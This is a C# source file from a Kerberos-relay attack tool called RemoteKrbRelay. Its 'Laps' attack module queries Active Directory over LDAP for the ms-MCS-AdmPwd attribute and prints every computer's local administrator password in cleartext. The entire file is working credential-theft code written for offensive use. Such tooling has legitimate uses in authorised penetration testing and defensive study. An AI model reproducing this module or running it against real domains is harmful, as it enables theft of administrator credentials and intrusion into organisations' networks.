Files
Michael Zhmailo a655de2076 Initial Commit
2024-06-24 22:44:32 +05:00

68 lines
2.5 KiB
C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using static RemoteKrbRelay.Helpers.Natives;
namespace RemoteKrbRelay.Relay.Attacks.Ldap
{
class Laps
{
public static void read(IntPtr ld, string computer = "")
{
var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
};
IntPtr pLaps = RemoteKrbRelay.Helpers.Helpers.AllocHGlobalIntPtrArray(1 + 1);
var controlPtr = Marshal.StringToHGlobalUni("ms-MCS-AdmPwd");
Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
int search = 0;
if (string.IsNullOrEmpty(computer))
{
search = ldap_search(
ld,
$"{Options.domainDN}",
(int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
"(&(objectClass=computer)(ms-MCS-AdmPwd=*))",
pLaps,
0);
}
else
{
search = ldap_search(
ld,
$"{Options.domainDN}",
(int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computer.ToUpper()),
pLaps,
0);
}
//Console.WriteLine("[*] msgID: {0}", search);
IntPtr pMessage = IntPtr.Zero;
var r = ldap_result(
ld,
search,
1,
timeout,
ref pMessage);
Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r);
Dictionary<string, Dictionary<string, List<byte[]>>> result = new Dictionary<string, Dictionary<string, List<byte[]>>>();
var ber = Marshal.AllocHGlobal(IntPtr.Size);
for (var entry = ldap_first_entry(ld, pMessage); entry != IntPtr.Zero;
entry = ldap_next_entry(ld, entry))
{
string dn = Generic.GetLdapDn(ld, entry);//.Split(',').First().Replace("CN=","");
Dictionary<string, List<byte[]>> aa = Generic.GetLdapAttributes(ld, entry, ref ber);
string password = Encoding.ASCII.GetString(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray());
Console.WriteLine("dn: {0, -60} {1}", dn, password);
}
return;
}
}
}